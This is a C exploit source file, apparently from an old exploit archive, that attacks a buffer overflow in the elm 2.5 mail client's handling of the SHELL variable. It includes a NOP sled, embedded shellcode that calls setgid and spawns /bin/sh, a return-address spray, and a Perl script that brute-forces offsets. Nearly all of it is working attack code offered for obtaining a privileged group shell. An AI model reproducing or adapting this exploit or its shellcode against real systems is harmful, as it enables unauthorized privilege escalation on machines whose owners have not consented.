/*
   (linux)elm[2.5(yes another)] buffer overflow, by v9[v9@fakehalo.org].  this
   will give you a gid=12 shell if /usr/bin/elm is SGID(=2755).  elm rejects
   most user defined vars after 254<characters but SHELL, although it use to be
   checked, for some reason or another isn't checked in newer versions of elm.
 
   note: try offsets of 100, as noted in the perl script below.  -400, -700
   and 1400-1500 (roughly) worked on my old slackware 3.6(&redhat), which was
   upgraded to elm 2.5PL3.  i compiled and installed it from the latest
   version i could find.  it is possible you may need to modify this to your
   system. (probably not)
   
   personal note: i've never seen so many buffer overflows in a single package,
   ever.  also, elm may have "overflow checking", only accepting vars under 255
   characters.  but if you make a really big buffer, it will still overflow it.
   it's like when they make newer versions more overflows occur.  if i were you
   i would recommend ditching elm and going towards a non-sgid/more stable
   package. -- tested on elm 2.5 PL1-2. (redhat), and elm 2.5 PL3 (slack3.6). 
   did not overflow on my old 2.4 binary. (it checked it like it was suppost to)
 
   here is a quick perl script to run offsets (until ctrl-c):
 
   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "offset: $i.\n";
    system("./elm_again $i");
    $i++; # or $i+=100; if you want to be speedy. (which you do)
   }
 */

#define DEFAULT_OFFSET -700
static char exec[]=
  "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76\x08\x31\xc0\x88"
  "\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  "\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";

long esp(void)
{
  __asm__("movl %esp,%eax");
}
int main(int argc,char **argv)
{
  char bof[256];
  int i,offset;
  long ret;
  if(argc>1)
    {
      offset=atoi(argv[1]);
    }
  else
    {
      offset=DEFAULT_OFFSET;
    }
  ret=(esp()-offset);
  printf("return address: 0x%lx, offset: %d.\n",ret,offset);
  for(i=3;i<256;i+=4)
    {
      *(long *)&bof[i]=ret;
    }
  for(i=0;i<(255-strlen(exec));i++)
    {
      *(bof+i)=0x90;
    }
  memcpy(bof+i,exec,strlen(exec));
  setenv("SHELL",bof,1);
  execlp("/usr/bin/elm","elm",0);
}
/*                    www.hack.co.za           [8 June 2000]*/